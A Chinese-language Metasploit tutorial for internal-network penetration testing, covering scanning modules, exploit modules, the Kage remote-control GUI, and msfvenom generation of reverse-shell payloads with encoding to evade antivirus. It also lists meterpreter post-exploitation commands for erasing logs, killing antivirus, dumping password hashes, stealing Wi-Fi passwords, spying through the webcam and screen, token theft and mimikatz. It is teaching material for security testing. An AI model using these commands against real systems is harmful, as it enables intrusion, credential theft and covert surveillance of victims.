内网渗透 Metasploit（MSF）基础使用

内网渗透 Metasploit（MSF）使用

1、认识 MSF

​ Metasploit 是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在 Metasploit 和综合报告提出了他们的发现，2003年为第一个版本，2007年用 ruby 进行了重新

​ 安装自查，不必多说

1.1、MSF 目录架构

进入目录

data目录
里面存有为msf中可以编写的一些文件，里面含有msf存储的漏洞具体数据，一般在使用exp时会编写一些重要的函数，简单来说就是存放我们可以利用的漏洞的数据的地方。

documentation文档目录
存放了msf的一些相关文档，工具介绍等

lib静态链接库目录
存放了msf中的ruby代码

modules模块目录
存放了msf的模块，msf为模块化工具，插件

tools目录
小工具模块

2、MSF 基础操作

2.1、msf 的基础部分

内置数据库

posetsql

Linux初始化并启动msf数据库
msfdb init

kali中的启动命令
msfconsole

查看数据库状态
db_status

help    #查看帮助
exit    #退出

MSF 共分为3个部分：

（1）刚进入页面的操作部分

（2）msfvenom 生成攻击载荷的工具，内嵌于 msf

（3）当进入某个会话时的部分

2.2、简单操作命令

show 模块名    #查看/展示模块（exploits、payloads、enncoders等）
search 模块名    #没什么好方法，可以直接搜索漏洞编号，或者网上查询需要的模块名
use 模块名        #使用需要的模块
back          #返回上一级
info          #查看模块详细信息
show options   #非常常用，看具体配置，通过Required下面为Yes为必填项
set Name xxxx  #在options中的必填项名字后面接具体信息
run / exploit  #执行模块

exploit -j     #通过这条命令运行任务
jobs    #查看后台正在执行的工作
kill ID值    #关闭后台正在执行的工作

2.3、常用的扫描模块

一般 msf 将扫描模块都放在

auxiliary/scanner

当中

2.3.1、arp 扫描

使用 ARP 请求枚举本地网络中的活动主机

在kali中如下目录为msf的模块目录
/usr/share/metasploit-framework/modules/auxiliary/

search arp

可以看到有

scanner

的很多扫描器，

auxiliary/scanner/discovery/arp_sweep

关于信息收集的有很多

use auxiliary/scanner/discovery/arp_sweep    //选择模块
options        //显示参数配置
set rhosts xxx.xxx.x.x/24    //确定主机
set threads 10        //调线程
run        //运行

2.3.2、UDP 扫描

search udp
use auxiliary/scanner/discovery/udp_sweep

可以看到有很多很多模块供我们使用

自己试试用得顺手的模块

这里就不使用了

2.3.3、端口扫描

SYN、ACK、TCP、XMAS、FTP 扫描等等

search portscan        
use auxiliary/scanner/portscan/tcp

2.3.4、SMB 扫描

search smb
use auxiliary/scanner/smb/smb_version //可以探索版本信息

2.4、EXP 模块

use exploit            //输入这个然后按Tab键可进行阅览

可以看到有2251个项目，这里就不一一枚举了

如果目前已知目标系统为 windows，那么直接搜索可以减少阅览量

use exploit/windows

大部分 EXP 模块都是在已经取得一定权限后使用的，比如提权等，rce（MS17-010） 等比较少

就按 windows 来说，当我们执行成功时，不仅仅只是执行了一个命令，我们还可以为其添加一个攻击载荷，使其在执行完命令后，还能为我们反弹回来一个会话

set payload windows/x64/meterpreter/reverse_tcp
然后查看配置
options

可以发现这里多了一条 payload，有这个 payload 后，在执行完 rce 后，会返回一个 msf 的会话，支持很多系统

set payload        //然后按Tab就行

3、msf 可视化远控平台 Kage

3.1、Kage 安装

当然我们也可以使用

msf

可视化远控平台----

Kage

项目地址:https://github.com/WayzDev/Kage/

​ https://github.com/Zerx0r/Kage/releases

git clone https://github.com/Zerx0r/Kage.git

安装好后进入Kage
cd Kage
安装依赖项
yarn

第二个项目因为我们是Linux系统，所以我们下载
Kage.0.1.1-beta_linux.AppImage 

建议使用root权限运行
接着我们使用下面这行代码来运行msf，启动msf并开启一个接口
msfconsole -q -x 'load msgrpc ServerHost=0.0.0.0 ServerPort=55562 User=msfuser Pass=msfpass'

接下来我们需要用kage连接这个接口，开启可视化msf

当然也可以直接写入下面的代码运行
msfrpcd -U msfuser -P msfpass -a 0.0.0.0
-U: 登录kage的账号
-P:登录kage的密码
-a: msf的ip地址（很重要，要是kage和msf在同一台电脑，用0.0.0.0即127.0.0.1）

赋予程序启动权限，启动程序并登陆
chmod 777 Kage.0.1.1-beta_linux.AppImage
./Kage.0.1.1-beta_linux.AppImage

输入我们设置的账号密码，就可以进入了

3.2、Kage 的使用

我们可以利用命令生成木马，也可以在平台上生成木马，根据自己的具体情况来看，在木马成功上线目标机时，会有各种操作可用。

Jobs是监听功能，Payload generator是木马生成程序

首先我们需要开启监听并发送木马

生成木马支持多种平台和方式，选择你所需要的方式进行木马生成。后续的监听也是需要保持同生成木马的一致性（本机IP、负载方法、监听端口）

木马生成（填写程序名、负载方法、本机ip、端口、程序类型、编码方式（一般默认））

负载方法常用的是windows/meterpreter/reverse_tcp，当然，它也支持对安卓、linux以及java、python的负载方法，根据个人的测试环境。

生成的木马程序可以在右侧Saved as中看到是在root目录下，自己去目录中把文件拖出来就可以了。后续录音、拍照、下载等功能使用时的文件在会在该目录下

3.3、Kage 可执行的操作

可以执行的操作：

（1）系统指令

（2）文件指令

（3）网络指令

（4）拍照指令

（5）录音指令

（6）文件存放（存放地址为

Kage

）

4、msfvenom 模块

4.1、概述

msfvenom 是 msf 生成 payload 的一个工具

这里要区分一下 EXP 与 Payload ：EXP 是利用漏洞进行攻击动作，而 payload 是 EXP 执行成功后在目标内进行各种指令动作。

除了可以将 payload 插入到 exp 里面，也可以作为独立模块进行生成，需要用这个工具生成一个落地化的，类似于会话，可移植性各种操作

4.2、基本操作

msfvenom
例子
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

-l        #列出所有payload，需要添加参数payloads, encoders, nops, platforms, archs, encrypt, formats, all    

所支持的架构有：aarch64、armbe、armle、cbea、cbea64、cmd、dalvik、firefox、java、mips、mips64、mips64le、mipsbe、mipsle、nodejs、php、ppc、ppc64、ppc64le、ppce500v2、python、r、ruby、sparc、sparc64、tty、x64、x86、x86_64、zarch

-p            #后面跟payload的其余参数

可以看到下面的有

bind

和

reverse

两种类型的 payload，那么有什么区别呢？

bind

：正向，攻击机可以连接目标机，而目标机不能连接攻击机，是攻击机主动连接目标机

reverse

：反向，目标机主动连接攻击机，一般使用反弹 TCP 协议。

-f         #指定输出文件格式

所支持的格式有：asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-small、hta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;base32、base64、bash、c、csharp、dw、dword、go、golang、hex、java、js_be、js_le、nim、nimlang、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.71.138 lport=3333 -f exe > ceshi.exe 
生成一个windwos的反弹shell，名字为ceshi.exe

-e         #指定编码方式，绕过杀软的一种方式

-i        #指定编码次数，一般配合 -e 使用,最好小于20次，否则将不会运行

举个例子，生成一个 payload

winodws:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f exe > ceshi.exe

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f elf > ceshi.elf

5、Meterpreter 模块

当我们生成的 payload 成功在目标机器上执行时，便会返回这样一个会话，我们在此会话中执行各种后渗透操作

5.1、基础操作

help                 #帮助
background            #返回msf界面
sessions -l             #返回所有会话信息
sessions -i id值        #返回指定交互会话
pwd                    #返回目标机中所处目录位置
lpwd                #查看本地目录
cd                    #切换目标机指定目录
lcd                    #切换本机指定目录
ls                    #列出目标机当前目录文件
lls                    #列出本机目录的文件
clearev                #清除痕迹，清除我们在目标机器上的一些操作痕迹！！！
download 文件名        #将目标文件下载到本地
upload 文件名            #将文件上传到目标机
shell                #进入cmd命令框
exit                #退出终端
ps                    #列出目标进程
getuid                #查看当前用户的身份，可以理解为用户名
getprivs            #查看当前用户的权限
getpid                #查看木马进程
idletime            #查看目标服务器空闲时间
sysinfo                #查看目标主机信息
kill PID号            #杀死进程
shutdown            #关机
reboot                #重启
netstat                #查看网络连接情况
ipconfig            #查看目标IP信息
getsystem            #尝试提权

不过进入 windows 会有乱码出现，我们使用

chcp 65001

便可以解决中文乱码

execute         #需要参数，在目标机执行一些命令
用法：execute -f file [options]
在远程计算机上执行命令。
选项：
-a                #传递给命令的参数。
-c                #通道化I/O（交互需要）。
-d                #使用-m时要启动的“虚拟”可执行文件。
-f                #要运行的可执行命令。
-h                #帮助菜单。
-H                #创建隐藏在视图中的流程。
-i                #创建流程后与流程交互。
-k                #在流量计当前桌面上执行进程
-m                #从内存执行。
-p                #在pty中执行进程（如果在目标平台上可用）
-s                #以会话用户身份在给定会话中执行进程
-t                #使用当前模拟的线程标记执行进程
-z                #在子shell中执行进程

execute -f ceshi.exe -H

我们一般只用

-f

参数来执行一个文件进程，使用

-h

参数来隐藏进程

migrate    PID进程码        #进程迁移命令
migrate 所要迁移的进程号也就是PID

5.2、配合 meterpreter 的信息收集模块

有很多模块，大多数都是对于主机的信息收集功能，以 POST 开头

进入meterpreter中，使用run

run killav        #杀死杀毒软件
run hashdump    #导出目标机的哈希保存密码（需要权限）
run post/windows/wlan/wlan_profile    #获取wifi密码
run vnc            #实时屏幕监控
run webcam        #开启一个摄像头（要求对面拥有摄像头）
run post/windows/gather/checkvm    #查看当前主机是否为虚拟机
run post/windows/gather/enum_computers    #探寻域内主机
run post/windows/manage/enable_rdp    #开启目标3389端口

5.3、Token 窃取

load incognito        #令牌窃取工具
list_tokens -u        #列出可以模拟的令牌
impersonate_token 可以模拟的令牌成员名    #窃取一个指定的令牌,获取相应权限

一般窃取管理员或者 SYSTEM 的身份

mimikatz
load mimikatz
wdigest       #抓取计算机中的明文密码

7、armitage

7.1、概述

Armitage 就是一款使用 Java 为 Metasploit 编写的有图形化操作界面的软件，通过它可以轻松的使用 Metasploit 对目标进行攻击

感觉不如用 kage。。。。。

8、MSF 更新

apt update
apt install metasploit-framework

MSF 插件更新可以从下面地址获取

插件地址：https://exploit-db.com

搜索 Metasploit 可以查询相应插件加载，里面文档有安装教程